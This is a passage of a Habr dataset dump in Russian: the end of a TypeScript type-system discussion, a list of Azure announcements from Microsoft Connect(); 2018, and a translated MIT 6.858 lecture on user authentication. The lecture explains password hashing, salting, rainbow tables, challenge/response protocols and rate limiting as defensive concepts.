MyMapper<F, T, TK>;\n };\n interface From {\n _id: string;\n name: string;\n data: {\n foo: string;\n bar: string;\n };\n }\n interface To {\n id: string;\n name: string;\n meta: {\n fooData: string;\n };\n }\n const Try1Scheme: IMapScheme<From, To> = {\n id : '_id',\n name: 'name',\n meta: {\n field: 'data',\n map : {\n fooData: 'foo',\n },\n },\n };\n[/code]\nИ очень просится написать что-то на подобии\n[code]\n interface MyMapper<F, T, TK extends keyof T> {\n field: keyof F;\n map: IMapScheme<F[this.field], T[TK]>;\n }\n[/code]\nТакая магия возможна?", "Cистема типов TypeScript явялется Тьюринг-полной github.com/Microsoft/TypeScript/issues/14833\nВпрочем, не только у TypeScript, но и у Java habr.com/ru/post/330724, и С++ и др.", "Не очень понял зачем вам эти типы. Просто напишите функцию-маппер и возльмите от неё typeof.", "Я хочу создать объект, который описывает как должно быть замаплено.\nОбъект именно потому что несколько таких объектов можно потом склеить, в специфике этого приложения это крутая фича.\nИ мне интересно, может ли его валидность проверить сам TS.\nА про функцию — задача эта уже решена, но хотелось бы ее решить красиво.", "Задачка интересная. Сходу мне решить ее не удалось. Подумаю на досуге.", "Функции тоже можно склеивать ведь.\nТакой маппинг, как вы хотите, очень не гибок. Небольшое изменение требований и весь его выбрасывать.", "Блин, прикольно, даже не думал об таком подходе", "> Кажется это можно использовать для такой задачи\nЕсли Вы говорили конкретно про Drop, а не про библиотеку, то это не совсем верно. Drop нужен для исключения первых элементов кортежа.\n[code]\n type List = [number, string, boolean, undefined];\n type DroppedList1 = Drop<MyList, 1>; // [string, boolean, undefined]\n type DroppedList2 = Drop<MyList, 2>; // [boolean, undefined]\n[/code]\nhttps://www.freecodecamp.org/news/typescript-curry-ramda-types-f747e99744ab/\nВ этой статье есть много про паттерны для работы с кортежами.", "Не, я в целом имел ввиду подход к итерации на уровне типов" ], "author": [ "Игорь «InoY» Звягинцев (inoyakaigor)", "Евгений (reforms)", "radist2s", "Владимир Репин (VladVR)", "Алексей Мартинкевич (LEXA_JA)", "Владимир Репин (VladVR)", "findoff", "morsic", "proninyaroslav", "Сергей Мелодин (melodyn)", "morsic", "Евгений (reforms)", "Константин (Cerberuser)", "Дмитрий Карловский (vintage)", "Евгений (arswarog)", "Alexander (saaivs)", "Дмитрий Карловский (vintage)", "Евгений (arswarog)", "Евгений (reforms)", "Дмитрий Карловский (vintage)", "morsic", "Максим Овчарик (movl)", "morsic" ], "children": [ [ 20561613 ], [], [ 20560941 ], [ 20560197, 20560207 ], [], [], [], [ 20562027, 20562361, 20566239 ], [], [ 20562289 ], [ 20562383 ], [ 20562525 ], [ 20565877 ], [], [ 20563731, 20564163 ], [], [ 20563777 ], [ 20564455 ], [], [], [], [ 20566385 ], [] ] }
432,506
ru
https://habr.com/ru/post/432506/
Microsoft Connect(); 2018: все облачные анонсы конференции
Привет, Хабр! Совсем недавно прошла конференция Connect(); 2018, на которой было сделано много интересных анонсов в областях мобильной разработки, веб-разработки, интернета вещей, искусственного интеллекта, машинного обучения, когнитивных сервисов, аналитики, вычислений, контейнеров, баз данных и интеграции. Под катом вы найдете список этих анонсов! ## AI + Машинное обучение Служба машинного обучения Azure теперь доступна Кастомная возможность перевода Text Translator Language Understanding Container Support: Превью ONNX Runtime теперь open-source ## Аналитика Azure Stream Analytics в IoT Edge Меньшие SKU для Azure SQL Data Warehouse Gen2 ## Вычисления Обновление Azure Service Fabric Mesh Поддержка JavaScript для Durable Functions Azure Functions, превью-поддержка Python Виртуальная нода Azure Kubernetes Service (AKS) Azure Service Fabric runtime версии 6.4 и обновления SDK Развертывание кластеров Ubuntu Service Fabric с использованием Bosh Поддержка GPU Azure Container Instances (ACI) Serverless Community Library Azure Functions, план использования для Linux ## Базы данных Virtual network service endpoints для Azure Database и MariaDB Azure Database для MariaDB Версия 3.0 SDK Azure Cosmos DB .NET Новая общая база данных Azure Cosmos DB Поддержка CORS в Azure Cosmos DB ## Интеграция Гибкое управление подписками API Management Собственный кеш в API Management ## IoT S1 Tier Новые ключевые возможности в Time Series Insights Новые обновления для удаленного мониторинга IoT Azure Новые обновления для симулирования устройств Azure IoT
<div xmlns="http://www.w3.org/1999/xhtml">Привет, Хабр! Совсем недавно прошла конференция Connect(); 2018, на которой было сделано много интересных анонсов в областях мобильной разработки, веб-разработки, интернета вещей, искусственного интеллекта, машинного обучения, когнитивных сервисов, аналитики, вычислений, контейнеров, баз данных и интеграции. Под катом вы найдете список этих анонсов! <br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/94/pw/zx/94pwzx9q32v7r-mdkkouv38j-s0.jpeg" data-src="https://habrastorage.org/webt/94/pw/zx/94pwzx9q32v7r-mdkkouv38j-s0.jpeg" data-blurred="true"/><a name="habracut"></a><br/> <br/> <h2>AI + Машинное обучение</h2><br/> <ul> <li><a href="https://azure.microsoft.com/en-us/updates/azure-machine-learning-service-now-generally-available/">Служба машинного обучения Azure теперь доступна</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/custom-translation-capability-of-text-translator-is-now-available/">Кастомная возможность перевода Text Translator</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/container-support-for-language-understanding-is-in-preview/">Language Understanding Container Support: Превью</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/open-sourcing-onnx-runtime/">ONNX Runtime теперь open-source</a></li> </ul><br/> <h2>Аналитика</h2><br/> <ul> <li><a href="https://azure.microsoft.com/en-us/updates/azure-stream-analytics-on-iot-edge-generally-available/">Azure Stream Analytics в IoT Edge</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/smaller-skus-for-azure-sql-data-warehouse-gen2-are-now-available/">Меньшие SKU для Azure SQL Data Warehouse Gen2</a></li> </ul><br/> <h2>Вычисления</h2><br/> <ul> <li><a href="https://azure.microsoft.com/en-us/updates/in-development-azure-service-fabric-mesh-fall-2018-refresh/">Обновление Azure Service Fabric Mesh</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/javascript-support-for-durable-functions-is-now-available/">Поддержка JavaScript для Durable Functions </a></li> <li><a href="https://azure.microsoft.com/en-us/updates/azure-functions-python-support-public-preview-2/">Azure Functions, превью-поддержка Python</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/aks-virtual-node-public-preview/">Виртуальная нода Azure Kubernetes Service (AKS)</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/in-development-azure-service-fabric-runtime-version-6-4-sdk-updates/">Azure Service Fabric runtime версии 6.4 и обновления SDK</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/deploy-service-fabric-ubuntu-clusters-on-premises-using-bosh/">Развертывание кластеров Ubuntu Service Fabric с использованием Bosh</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/azure-container-instances-aci-gpu-support-public-preview/">Поддержка GPU Azure Container Instances (ACI)</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/serverless-community-library-is-in-preview/">Serverless Community Library</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/azure-functions-consumption-plan-for-linux-preview/">Azure Functions, план использования для Linux</a></li> </ul><br/> <h2>Базы данных</h2><br/> <ul> <li><a href="https://azure.microsoft.com/en-us/updates/public-preview-vnet-service-endpoints-for-azure-database-for-mariadb/">Virtual network service endpoints для Azure Database и MariaDB</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/general-availability-azure-database-for-mariadb/">Azure Database для MariaDB</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/version-3-0-of-the-azure-cosmos-db-net-sdk-in-preview/">Версия 3.0 SDK Azure Cosmos DB .NET</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/azure-cosmos-db-new-shared-database-offer-now-available/">Новая общая база данных Azure Cosmos DB</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/cors-support-in-azure-cosmos-db/">Поддержка CORS в Azure Cosmos DB</a></li> </ul><br/> <h2>Интеграция</h2><br/> <ul> <li><a href="https://azure.microsoft.com/en-us/updates/api-management-flexible-subscriptions-public-preview/">Гибкое управление подписками API Management</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/api-management-bring-your-own-cache-public-preview/">Собственный кеш в API Management</a></li> </ul><br/> <h2>IoT</h2><br/> <ul> <li><a href="https://azure.microsoft.com/en-us/updates/s1-pricing-tier-is-now-available-for-large-scale-deployments/">S1 Tier</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/new-key-capabilities-added-to-time-series-insights/">Новые ключевые возможности в Time Series Insights</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/new-updates-to-azure-iot-remote-monitoring/">Новые обновления для удаленного мониторинга IoT Azure</a></li> <li><a href="https://azure.microsoft.com/en-us/updates/new-updates-to-azure-iot-device-simulation/">Новые обновления для симулирования устройств Azure IoT</a></li> </ul></div>
Alexander Gureev (sahsAGU)
Microsoft Azure
https://azure.microsoft.com/en-us/updates/connect/
Привет, Хабр! Совсем недавно прошла конференция Connect(); 2018, на которой было сделано много интересных анонсов в областях мобильной разработки, веб-разработки, интернета вещей, искусственного интеллекта, машинного обучения, когнитивных сервисов, аналитики, вычислений, контейнеров, баз данных и интеграции. Под катом вы найдете список этих анонсов! <br> <br> <img src="https://habrastorage.org/webt/94/pw/zx/94pwzx9q32v7r-mdkkouv38j-s0.jpeg">
Привет, Хабр! Совсем недавно прошла конференция Connect(); 2018, на которой было сделано много интересных анонсов в областях мобильной разработки, веб-разработки, интернета вещей, искусственного интеллекта, машинного обучения, когнитивных сервисов, аналитики, вычислений, контейнеров, баз данных и интеграции. Под катом вы найдете список этих анонсов!
article
1,544,598,001
{ "commentsCount": 4, "favoritesCount": 7, "readingCount": 2026, "score": 10, "votesCount": 12, "votesCountPlus": 11, "votesCountMinus": 1 }
[ "translation" ]
[ "microsoft", "open_source", "azure", "machine_learning", "tech_events" ]
[ "develop", "marketing" ]
[ "Microsoft", "api", "connect", "2018", "connect(); 2018" ]
1
null
null
{ "id": [ 19490950, 19491080, 19491152, 19491180 ], "parent_id": [ null, null, 19490950, 19491080 ], "level": [ 0, 0, 1, 1 ], "time_published": [ 1544638734, 1544640793, 1544641976, 1544642232 ], "score": [ 0, 0, 0, 0 ], "votes": [ 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А как же net core 3, open source wpf и т.д.?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">S1 Tier по этой теме.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Постараемся рассказать и о них в другой статье. Когда она появится, я пришлю ссылку ответом на комментарий.</div>" ], "message_markdown": [ "UFO just landed and posted this here", "А как же net core 3, open source wpf и т.д.?", "S1 Tier по этой теме.", "Постараемся рассказать и о них в другой статье. Когда она появится, я пришлю ссылку ответом на комментарий." ], "author": [ "{}", "Иван (IL_Agent)", "Alexander Gureev (sahsAGU)", "Alexander Gureev (sahsAGU)" ], "children": [ [ 19491152 ], [ 19491180 ], [], [] ] }
429,680
ru
https://habr.com/ru/post/429680/
Курс MIT «Безопасность компьютерных систем». Лекция 17: «Аутентификация пользователя», часть 1
### Массачусетский Технологический институт. Курс лекций #6.858. «Безопасность компьютерных систем». Николай Зельдович, Джеймс Микенс. 2014 год Computer Systems Security — это курс о разработке и внедрении защищенных компьютерных систем. Лекции охватывают модели угроз, атаки, которые ставят под угрозу безопасность, и методы обеспечения безопасности на основе последних научных работ. Темы включают в себя безопасность операционной системы (ОС), возможности, управление потоками информации, языковую безопасность, сетевые протоколы, аппаратную защиту и безопасность в веб-приложениях. Лекция 1: «Вступление: модели угроз» Часть 1 / Часть 2 / Часть 3 Лекция 2: «Контроль хакерских атак» Часть 1 / Часть 2 / Часть 3 Лекция 3: «Переполнение буфера: эксплойты и защита» Часть 1 / Часть 2 / Часть 3 Лекция 4: «Разделение привилегий» Часть 1 / Часть 2 / Часть 3 Лекция 5: «Откуда берутся ошибки систем безопасности» Часть 1 / Часть 2 Лекция 6: «Возможности» Часть 1 / Часть 2 / Часть 3 Лекция 7: «Песочница Native Client» Часть 1 / Часть 2 / Часть 3 Лекция 8: «Модель сетевой безопасности» Часть 1 / Часть 2 / Часть 3 Лекция 9: «Безопасность Web-приложений» Часть 1 / Часть 2 / Часть 3 Лекция 10: «Символьное выполнение» Часть 1 / Часть 2 / Часть 3 Лекция 11: «Язык программирования Ur/Web» Часть 1 / Часть 2 / Часть 3 Лекция 12: «Сетевая безопасность» Часть 1 / Часть 2 / Часть 3 Лекция 13: «Сетевые протоколы» Часть 1 / Часть 2 / Часть 3 Лекция 14: «SSL и HTTPS» Часть 1 / Часть 2 / Часть 3 Лекция 15: «Медицинское программное обеспечение» Часть 1 / Часть 2 / Часть 3 Лекция 16: «Атаки через побочный канал» Часть 1 / Часть 2 / Часть 3 Лекция 17: «Аутентификация пользователя» Часть 1 / Часть 2 / Часть 3 Итак, давайте начнём. С возвращением вас, надеюсь, праздники для всех удались. Сегодня мы поговорим об аутентификации пользователей. Итак, тема лекции состоит в том, чтобы узнать, как пользователи могут доказать свою личность программе? В частности, статья, которая предназначается для сегодняшнего занятия, затрагивает сами основы существования сообщества безопасности. Есть ли что-нибудь лучше для аутентификации, чем пароли? На высшем уровне кажется, что пароли – это ужасная идея, потому что у них очень низкая энтропия и атакующим легко их разгадать. Секретные вопросы, которые мы используем для восстановления забытых паролей, имеют ещё меньшую энтропию, чем сами пароли, и это тоже кажется проблемой. И что еще хуже, пользователи, как правило, будут использовать один и тот же пароль на множестве разных сайтов. Это означает, что уязвимость в одном легко угадываемом пароле подвергает опасности работу пользователя со многими сайтами. Мне понравилась такая цитата из статьи к сегодняшней лекции: «продолжающееся доминирование паролей среди всех других способов аутентификации пользователя является основным затруднением для исследования безопасности». Таким образом, сообщество исследователей безопасности желают иметь альтернативу лучше, чем пароли. Однако неясно, существует ли на самом деле схема аутентификации, которая способна полностью заменить пароли, будучи при этом более удобной, шире применимой и более безопасной. Сегодня мы рассмотрим три вопроса. Во-первых, мы рассмотрим, как работают существующие пароли. После этого мы поговорим о том, каковы глобальные желаемые свойства паролей для любой схемы проверки подлинности. И наконец, мы рассмотрим, что пишется в лекционной статье о показателях, или характеристиках проверки подлинности, и увидим, как некоторые другие схемы аутентификации сравниваются по эффективности использования с паролями. Итак, что такое пароль? Пароль является общим секретом для пользователя и сервера. Таким образом, примитивная реализация схемы паролей должна в основном просто иметь таблицу на стороне сервера, которая сопоставляет имена пользователей с их паролями. Это самый простой способ представить себе реализацию одной из схем проверки подлинности — пользователь вводит своё имя и пароль, сервер ищет их в этой таблице, сравнивает пароль с именем, и если всё совпадает, происходит аутентификация пользователя. Ясно, что проблема заключается в том, что если злоумышленник взломает сервер, то он может просто посмотреть в эту таблицу и завладеть всеми паролями. Так что это явно плохая вещь. Возможно, вариантом решения этой проблемы является хранение сервером таблицы, которая выглядит так: имени пользователя соответствует не сам пароль, а его хеш. При этом пользователь вводит пароль в виде простого текста, сервер проверяет его хеш-код и сличает его со значением в таблице. Преимущество этой схемы заключается в том, что эти хеш-функции разработаны таким образом, что хеш трудно поддаётся инвертированию в пароль. Если эта таблица утрачена, имеется утечка данных или злоумышленник взломал сервер и завладел ею, то он увидит вместо текстовых паролей строки случайных буквенно-цифровых символов, и ему будет трудно восстановить их оригинальный образ. По крайней мере, в теории использование хешей довольно хорошая вещь. Но сейчас на практике злоумышленникам не придётся использовать атаку типа brute-force, чтобы определить прообраз значения хеша. Злоумышленники могут реально воспользоваться тем, что на практике пароли имеют неравномерное распределение. И под неравномерным распределением я имею в виду... скажем, мы знаем, что все пароли имеют длину до 20 символов. На практике пользователи не используют весь этот диапазон, предпочитая пароли типа 123, todd или что-то подобное. Однако эмпирические исследования показали, как подобные пароли работают, и было выяснено, что около 20% пользователей используют 5000 наиболее популярных паролей. Другими словами, это означает, что если у злоумышленника есть база данных из этих 5000 паролей, он запросто может их хешировать и затем при просмотре украденной таблицы паролей просто сопоставлять хеши. Так что опытным путём хакеру удастся восстановить около 20% паролей, имеющихся в таблице сервера. Специалисты Yahoo обнаружили, что пароли содержат от 10 до 20 бит энтропии, 10-20 бит случайности. На самом деле это не так уж и много. Если рассмотреть сложность создание хеш-функции, то современные машины вычисляют миллионы таких хешей каждую секунду. Таким образом, хеш-функция по своему дизайну должна быть легко вычисляемой, чтобы компьютеры легко хешировали пароли. Однако сочетание этого факта с недостаточной случайностью паролей означает, что в принципе, эта схема не настолько безопасна, как кажется. Есть вещь, при помощи которой можно попытаться усложнить хакеру жизнь — это сложная функция формирования ключа. В данном случае я имею в виду, что в качестве исходных данных используется хеш пароля, на основе которого сервер генерирует ключ, который хранится на сервере. Что хорошо в этих функциях формирования ключей, так это то, что они имеют настраиваемую трудоёмкость, то есть вы можете повернуть некий регулятор и заставить эту функцию работать медленнее или быстрее в зависимости от того, сколько вы хотите сэкономить на производительности процесса. Предположим, вы хотите сформировать ключ. В качестве примера можно привести стандарт формирования ключа PBKDF2 или, возможно, BCrypt, вы можете узнать о них больше из интернета. Давайте представим, что одна из этих функций формирования ключа потребовала для вычисления целую секунду, а не несколько миллисекунд. На самом деле это сделает работу злоумышленника намного сложнее, потому что попытка генерировать значения для 5000 «топовых» паролей займёт намного больше времени. На внутреннем уровне эти функции формирования ключа часто работают путем многократного вызова хеша, обращаясь к нему много раз, так что тут все довольно просто. Но решает ли использование трудоёмкого процесса формирования ключа стоящую перед нами проблему безопасности? Ответ – нет, потому что одна из проблем заключается в том, что противник может построить нечто, называемое Rainbow tables, или «радужными таблицами». «Радужная таблица» — это просто карта соответствия пароля значению хеша. Таким образом, даже если система использует одну из этих дорогих функций формирования ключа, злоумышленник может одноразово вычислить одну из этих таблиц. Это может быть немного сложно, потому что обработка каждой функции формирования ключа достаточно медленная вещь, но злоумышленник может создать эту таблицу один раз, а затем использовать её, чтобы взломать все последующие системы, опираясь на одинаковые алгоритмы функций формирования ключей. Вот каким образом работают эти «радужные таблицы». Повторю еще раз — чтобы максимизировать экономическую выгоду от создания Rainbow table, злоумышленник может воспользоваться неравномерным распределением паролей, о котором я говорил ранее. Таким образом, злоумышленник может построить такую таблицу только для некоторого небольшого набора всех возможных паролей. Студент: вероятно, «соление» делает это намного сложнее? Профессор: да, да, именно так. Мы перейдем к «солению» через пару секунд. В целом, если вы не используете «соление», «радужные таблицы» позволяют злоумышленнику, приложив некоторое усилие в автономном режиме, вычислить эту таблицу, а затем получить выгоду от возможности вычислить основные пароли на основе проделанной работы. Следующее, о чем можно подумать, чтобы улучшить ситуацию — это «соление». Как же оно работает? Основной принцип – это ввести некоторую дополнительную случайность в способ генерации паролей. Вы берёте эту хэш-функцию, вкладываете туда «соль», а затем пароль, и это всё сохраняется в таблице на сервере. Что же собой представляет «соль»? Это просто длинная строка, представляющая собой первую часть этой хеш-функции. Так почему же лучше использовать эту схему? Учтите, что «соль» фактически хранится в открытом тексте на стороне сервера. Вы можете подумать: Хорошо, если эта «соль» хранится в открытом тексте на стороне сервера и злоумышленник может украсть таблицу соответствия имён пользователей паролям, так почему он не может заодно украсть и эту «соль»? В чём же польза такого решения? Студент: потому что если вы выбрали самый распространенный пароль, вы не можете просто использовать его один раз и найти нового пользователя. Профессор: совершенно верно. В основном то, что делает «соль» — это предотвращает возможность создания злоумышленником единственной «радужной таблицы», которую можно было бы использовать против всех хешей. В принципе вы можете считать «соль» способом сделать уникальными даже одинаковые пароли. На практике многие системы используют понятие «соления». Фактически «соль» создаёт возможность добавить как можно больше бит к этому псевдопаролю, так как чем больше бит, тем лучше. Что ещё требуется сделать – это учесть, что всякий раз, когда пользователь меняет свой пароль, нужно изменить и «соль». Потому что одной из причин для такого решения является лень пользователей, которые хотят применить один и тот же пароль несколько раз. Изменение «соли» обеспечит то, что вещь, которая хранится в базе данных паролей, на самом деле будет отличаться даже в случае, если один пароль заменят точно таким же паролем. Аудитория: почему это называется «соль»? Профессор: это хороший вопрос, и я не могу ответить на него точно. Однако я уверен, что для этого имеется какое-то обоснование. Почему файлы cookie называют «печеньками»? Интернет, наверное, знает, почему, а я не знаю. Студент: возможно потому, что «соль» добавляет немного «вкуса» в хеш? Профессор: ну вот, я рад, что мы снимаем это на видео, потому что явно имеем шанс получить кинопремию. Я уверен, что в интернете есть какой-то ответ, поэтому позже я его поищу. Итак, рассмотренные выше подходы довольно просты. Я предположил, что пользователь каким-то образом передает пароль на сервер, но не уточнил, как это происходит. Итак, как мы передаем эти пароли? Во-первых, можно просто отправить пароль по сети в открытом виде. Это плохо, потому что в сети может присутствовать злоумышленник, который отслеживает трафик, который вы посылаете. Он может просто присвоить пароль и выдать себя за вас. Поэтому мы всегда начинаем с одного соломенного человечка, прежде чем я покажу вам других соломенных человечков, которые, конечно так же фатально ущербны. Так что первое, о чем вы можете подумать, это отправка пароля в открытом виде. Намного лучше с точки зрения безопасности посылать пароль через зашифрованное соединение, поэтому мы используем криптографию. Возможно, что у нас есть какой-то секретный ключ, используемый для преобразования пароля, прежде чем отправить его по сети. Так что на высшем уровне кажется, что шифрование всегда делает вещи лучше, подобно торговому знаку, гарантирующему качество продукта. Но проблема в том, что, если вы не думаете тщательно о том, как использовать шифрование и хеширование, вы не можете воспользоваться теми преимуществами безопасности, на которые рассчитываете. Например, если есть кто-то, кто сидит между вами – пользователем и сервером, этот пресловутый злоумышленник, «человек посередине», который на самом деле следит за вашим трафиком, при этом притворяясь сервером. Если вы отправляете зашифрованные данные, не проведя аутентификацию другой стороны, вы можете нарваться на проблему. Потому что клиент просто выбирает случайный ключ и посылает его некому адресату на другой стороне, который может или не может быть сервером. Фактически вы посылаете что-то некоторому человеку, который после этого получит возможность завладеть всеми вашими секретами. Учитывая это, люди могут думать, что намного лучше отправлять не сам пароль, а его хеш. На самом деле это само по себе ничего вам не дает, потому что отправляете ли вы пароль или хэш пароля, этот хэш пароля обладает той же семантической силой, что и исходный пароль, и он ничем не поможет, если вы не аутентифицировали сервер. Таким образом, основной момент заключается в том, что просто добавление шифрования или просто добавление хеширования не обязательно дает вам какие-либо дополнительные преимущества в обеспечении безопасности. Если клиент не может провести аутентификацию того, кому он или она посылает пароль, то клиент может ошибочно разгласить пароль тому, кому не намерен его разглашать. Поэтому, возможно, лучшая идея, чем две предыдущих, заключается в использовании так называемого протокола «вызов/ответ», или challenge/response protocol. Вот пример очень простого протокола «вызов/ответ». Здесь у нас имеется клиент, а здесь — сервер. Клиент говорит серверу: «Привет, я Алиса», после чего сервер отвечает ему некоторым вызовом С. Тогда клиент собирается ответить хешем этого вызова, отправленного сервером, объединив его с паролем. Сервер знает ответ, поэтому в данный момент сервер может принять эту последовательность – ответ клиента. Сервер также знает challenge, который он отправил, и предположительно, знает пароль, поэтому сервер может просчитать значение полученного хеша и увидеть, что оно на самом деле соответствует отправленному пользователем. Положительным свойством этого протокола, если мы на секунду проигнорируем существование «человека посередине», является то, что сервер будет уверен в том, что пользователь это действительно Алиса, потому что только Алиса будет знать этот пароль. В то же время если Алиса отправит эту вещь не серверу, а человеку, который притворился сервером, то он не будет знать пароль. Потому что злоумышленник может использовать C, но он всё равно не знает пароль, а для того, чтобы узнать пароль, ему нужно еще раз инвертировать эту хэш-функцию. У вас возникли вопросы? Студент: может ли клиент вместо пересылки серверу пароля и получения хешированного вызова сервера просто отправлять серверу хешированный пароль? Профессор: то есть вы спрашиваете, почему клиент просто не отправляет серверу хешированный пароль? На это есть 2 причины. Одну мы обсудим позже, она называется защитой Antihammering и создана для того, чтобы обороняться от «плохих» клиентов, постоянно спрашивающих: «это пароль, или вот это пароль, может быть, вот это пароль?». Данный механизм аутентификации упрощает процесс как для сервера, так и для клиента, но вы можете, по сути, создать хэш и на стороне клиента, используя JavaScript или что-то вроде этого. Но основная идея заключается в том, что каким-то образом вы должны обеспечить максимальную трудоёмкость аутентификации, чтобы помешать злоумышленнику быстро угадать пароль. Ещё вопросы? Студент: я просто хотел отметить, что даже если клиент делает хеширование, то в случае, когда кто-то завладевает таблицей сервера и использует её для хеширования, то он сможет войти в сеть. Профессор: совершенно верно. Да, это становится немного опасным в зависимости от того, кто может завладеть этим вызовом С. Потому что если клиент и сервер могут выбрать значения этого С, это усложняет клиенту возможность организовать подобные атаки. Одна из проблем использования этого протокола состоит в том, что клиент не имеет возможности внести случайность в это значение HCC. Можно представить, что вы можете сделать этот протокол более сложным для инвертирования сервером, если клиент получить возможность выбирать некоторый вызов С в части HCC, но в этом случае возникнет противопоставление вызовов клиента и сервера. Если вопросов больше нет, будем считать, что мы закончили обсуждение механизмов передачи пароля от клиента к серверу. Не смотря на то, что сервер должен инвертировать полученный от клиента хеш и пароль, злоумышленник все еще может попытаться провести атаку методом brute-force, и защитить сервер от атак подобного рода можно только использованием одной из этих дорогих хэш-функций, которые мы обсудили ранее. Еще одна вещь, как мы только что сказали, заключается в том, что вы действительно можете позволить клиенту выбирать свой собственный вызов в HCC. По сути это будет действовать так, как будто бы клиент использовал «соль». Это усложнит хакеру задачу по созданию «радужной таблицы». Потому обратите внимание, что если хакер находится на стороне сервера, а сервер выбирает одно и то же значение С снова, снова и снова, это позволяет атакующему создать «радужную таблицу». Но если клиент «посолил» свой ответ серверу, создать «радужную таблицу» будет очень сложно. Выше я упомянул защиту Antihammer – она придумана для того, чтобы ограничить число попыток угадывания, или подбора пароля. Идея здесь в том, что если у вас есть клиенты, которые пытаются организовать brute-force атаку путём скоростного перебора паролей, вы не хотите предоставить им такую возможность. Один из способов, которым мы можем обеспечить защиту Antihammer – это просто ограничить скорость так, что предположим, сервер станет говорить: «я буду принимать только три пароля в секунду от любого конкретного пользователя». Здесь можно также упомянуть использование тайм-аута, который не позволяет клиенту производить подряд несколько попыток ввода пароля. Например, клиент может выдать целую кучу запросов пароля и ошибиться 10 раз подряд, после чего сервер скажет: «теперь вам придётся подождать 10 секунд, прежде чем вы сможете снова попробовать ввести пароль». Так что обе эти вещи предназначены для предотвращения перебора паролей злоумышленником. Подобные типы защиты имеют некоторые «умные» автомобили, системы TPN и тому подобное. Почему же так важно использовать эти средства защиты от взлома? Одна из причин – это то, что обычные пароли обладают малой энтропией, и нужно исключить возможность, при которой злоумышленник использует все преимущества низкого энтропийного пространства для их быстрого угадывания. Вы, возможно, знаете, что многие веб-сайты имеют ограничения формата вводимого пароля. Они требуют, чтобы ваш пароль состоял из не менее, чем стольких-то символов, содержал строчные и прописные буквы, цифры и так далее. Смысл этих ограничений – заставить вас увеличить энтропию пароля. Но проблематично то, что мы не столько должны заботиться о соблюдении этих ограничений, сколько об энтропии самих паролей. Получается, что даже если людям даются эти ограничения — например, вы должны использовать пунктуацию, числовые символы и тому подобное — энтропия итогового пароля зачастую довольно низкая. Например, люди часто ставят знаки препинания в начале или в конце пароля, но не стараются разместить в середине знак доллара или нечто подобное. Как оказывается, эти требования к формату пароля ненамного усложняют атакующему его задачу. Причина в том, что злоумышленник может проанализировать, как люди назначают пароли даже при наличии ограничений. Например, если злоумышленник знает, что люди обычно ставят знаки препинания в начале или в конце слова, он просто включает это в свою атаку типа Dictionary attack, или «перебор по словарю». Существует действительно интересный сайт, на который вы можете зайти, это исследовательский проект Microsoft под названием Telepathwords. На странице этого сайта есть небольшое текстовое поле. Вы можете ввести символ в это текстовое поле, делая вид, что вводите пароль, и Telepathwords будет пробовать угадать, каким будет ваш следующий символ. Когда вы вводите один символ, в выпадающем окне появляются варианты символов, которые, возможно, вы собирались ввести вслед за ним и которые можно без труда угадать. Символы стойкого пароля отмечаются «птичками», которые означают, что программа не смогла угадать их последовательность, а в слабом пароле символы, которые программа отгадала, отмечаются «крестиками». Это даст вам возможность немного «разбавить» пароль неожиданными символами, которые программа не может угадать. Так как же работает Telepathwords? Это программный алгоритм, который имеет огромную базу данных распространённых паролей и популярных фраз, которые взяты с различных сайтов. Также он включает в себя набор эвристик, которые описывают общие пристрастия пользователей в выборе паролей. Отмечена забавная склонность людей, которые вынуждены использовать пунктуацию согласно ограничениям на вид пароля. Она заключается в том, что люди часто выбирают клавиши, расположенные рядом друг с другом. Другими словами, они используют очень маленькое расстояние редактирования в физическом пространстве по отношению к редактированию настоящего пароля. Итак, Telepathwords использует эту базу данных, поэтому, когда вы вводите символы, автоматически строятся модели, которые отображают статистическую вероятность того, каким будет следующий печатаемый символ. Так что это выглядит почти как автозаполнение паролей. Интересно, что это еще раз показывает — если у вас имеются ограничения, они на самом деле не защитят вас, потому что существуют некоторые базовые распределения символов, которые злоумышленник сможет использовать. Студент: кажется, что если злоумышленники достаточно умны, они могут попытаться угадать кучу IP-адресов и подобных вещей, которые помешали бы использовать защиту Antihammer при переборе паролей. Профессор: да, в этом имеется сложность. Antihammer по существу предотвращает попытку использования перебора паролей с конкретного IP-адреса, но если атакующие распределены по сети, возникает проблема. Достаточно сказать, что понятие Antihammer некоторым образом помогает бороться с таким явлением, как кликфрод – мошенничество путём имитации кликов реальных пользователей по рекламным объявлениям. Другими словами, с помощью Antihammer человек, запустивший рекламную компанию в интернете, может определить, платит ли он реальным людям, разместившим его ссылки, или же это просто спамер, сидящий перед компьютером и постоянно кликающий по рекламе. Существует множество распределенных эвристик, которые пытаются решить эти проблемы. И во многих смыслах это не наука, а искусство. Но вы правы, что в реальной жизни настроить все это правильным образом достаточно трудно. Студент: а как насчет криптографической защиты Antihammer? Когда вы заканчиваете отправку хеша по сети, есть ли гарантия того, что вы получите обратно именно хешированный пароль? Я знаю, что существуют такие протоколы, как SRP и Zero Knowledge Protocol, ZKP, которые проводят аутентификацию без обмена паролями... Профессор: да, и что? Студент: они используются на практике? Профессор: да, используются. Эти протоколы обеспечивают более надежные гарантии шифрования. В большинстве случаев они не имеют обратной совместимости с текущими системами, поэтому на практике вы не замечаете, насколько часто они используются. Но есть некоторые протоколы, которые позволяют серверу вообще не знать, что собой представляет пароль, типа ZKP, которые действительно применяются на практике. 